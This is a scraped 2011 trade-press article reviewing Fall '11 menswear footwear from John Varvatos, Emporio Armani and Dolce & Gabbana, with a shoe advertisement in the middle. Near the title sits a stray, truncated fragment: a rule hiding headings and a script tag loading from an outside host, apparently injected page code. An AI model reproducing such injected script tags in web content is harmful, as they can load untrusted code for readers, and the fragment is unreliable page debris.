Fashion Fridays: Man Candy

Fashion Fridays: Man Candy h2{display:none;} -->--> <script src="http://us1.c

Footwear Webdesk
Fashion Fridays
February 11, 2011

Shoes Make the Outfit
Designers’ Fall ’11 menswear collections meld classic autumnal fabrics (i.e. tweed and houndstooth) with edgy leather and just a hint of scene-stealing saffron silk (Alexander McQueen, of course). And while some critics who attended the recent European fashion shows lamented that the latest apparel fashions are, once again, largely “low-key” and “generic” (Vogue Italia Editor-in-Chief Franca Sozzani blogged: “Men’s mental structure doesn’t let them be daring,” but if these shows didn’t exist things would be even more boring.), at least on the footwear front designers pushed the envelope.

With subtle twists on familiar silhouettes, pops of color and unusual materials, the upcoming season’s footwear injected a much-welcomed dose of personality to mundane runways. —Angela Velasquez

Love (Luv)

noun, verb

1. A profoundly tender, passionate affection for another

2. Enamored of

3. To need

4. A feeling of warm personal attachment

5. Penny loves Kenny

www.pennyloveskenny.com

New Frontier
John Varvatos channeled the Artful Dodger with tattered cardigans fastened with safety pins, extra long sleeves and hats that looked like they battled a windstorm (and lost). The scrappy look was carried down to Varvatos’ footwear line with distressed leathers and utilitarian buttons and zippers.

Sand Man

The Emporio Armani collection presented jackets and vests cut with laser-like precision. The sleek line was brightened up with pale shades of camel—an unlikely fall/winter hue that also was featured in the footwear range. Standouts include a glossy Timberland-esque work boot and, for a bit of wit, a tromp-l’oeil loafer.

Gangster’s Paradise
Dolce & Gabbana rolled the dice on supped-up zoot suit pinstripes, textured lapels and an oversized hooded fur coat. The dynamic duo delivered pony hair lace-ups with heavy lasts and brogues spliced with pops of red. The shoes were offset by cuffed slim leg trousers and patterned socks.